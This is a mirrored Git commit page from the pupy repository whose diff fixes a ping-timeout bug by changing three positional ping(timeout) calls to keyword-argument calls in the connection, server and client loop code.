mirror of https://github.com/n1nj4sec/pupy.git
Fix bug with ping timeout
This commit is contained in:
parent
2bcef8df65
commit
85f11310a5
|
@ -80,7 +80,7 @@ class PupyConnection(Connection):
|
||||||
logging.debug('Sync poll serve interrupted: {}/inactive={}'.format(
|
logging.debug('Sync poll serve interrupted: {}/inactive={}'.format(
|
||||||
seq, self.inactive))
|
seq, self.inactive))
|
||||||
if self._ping:
|
if self._ping:
|
||||||
self.ping(self._ping_timeout)
|
self.ping(timeout=self._ping_timeout)
|
||||||
|
|
||||||
finally:
|
finally:
|
||||||
if DEBUG_NETWORK:
|
if DEBUG_NETWORK:
|
||||||
|
@ -91,7 +91,7 @@ class PupyConnection(Connection):
|
||||||
logging.debug('Sync poll wait: {}'.format(seq))
|
logging.debug('Sync poll wait: {}'.format(seq))
|
||||||
self._sync_events[seq].wait(timeout=self._serve_timeout)
|
self._sync_events[seq].wait(timeout=self._serve_timeout)
|
||||||
if self._ping:
|
if self._ping:
|
||||||
self.ping(self._ping_timeout)
|
self.ping(timeout=self._ping_timeout)
|
||||||
|
|
||||||
if DEBUG_NETWORK:
|
if DEBUG_NETWORK:
|
||||||
logging.debug('Sync poll complete: {}/inactive={}'.format(seq, self.inactive))
|
logging.debug('Sync poll complete: {}/inactive={}'.format(seq, self.inactive))
|
||||||
|
|
|
@ -155,7 +155,7 @@ class PupyTCPServer(ThreadedServer):
|
||||||
while not connection.closed:
|
while not connection.closed:
|
||||||
connection.serve(interval or 10)
|
connection.serve(interval or 10)
|
||||||
if interval:
|
if interval:
|
||||||
connection.ping(timeout)
|
connection.ping(timeout=timeout)
|
||||||
|
|
||||||
except Empty:
|
except Empty:
|
||||||
self.logger.debug('{}:{} Timeout'.format(h, p))
|
self.logger.debug('{}:{} Timeout'.format(h, p))
|
||||||
|
|
|
@ -736,7 +736,7 @@ def rpyc_loop(launcher):
|
||||||
interval, timeout = conn.get_pings()
|
interval, timeout = conn.get_pings()
|
||||||
conn.serve(interval or 10)
|
conn.serve(interval or 10)
|
||||||
if interval:
|
if interval:
|
||||||
conn.ping(timeout)
|
conn.ping(timeout=timeout)
|
||||||
|
|
||||||
except SystemExit:
|
except SystemExit:
|
||||||
raise
|
raise
|
||||||
|
|
Loading…
Reference in New Issue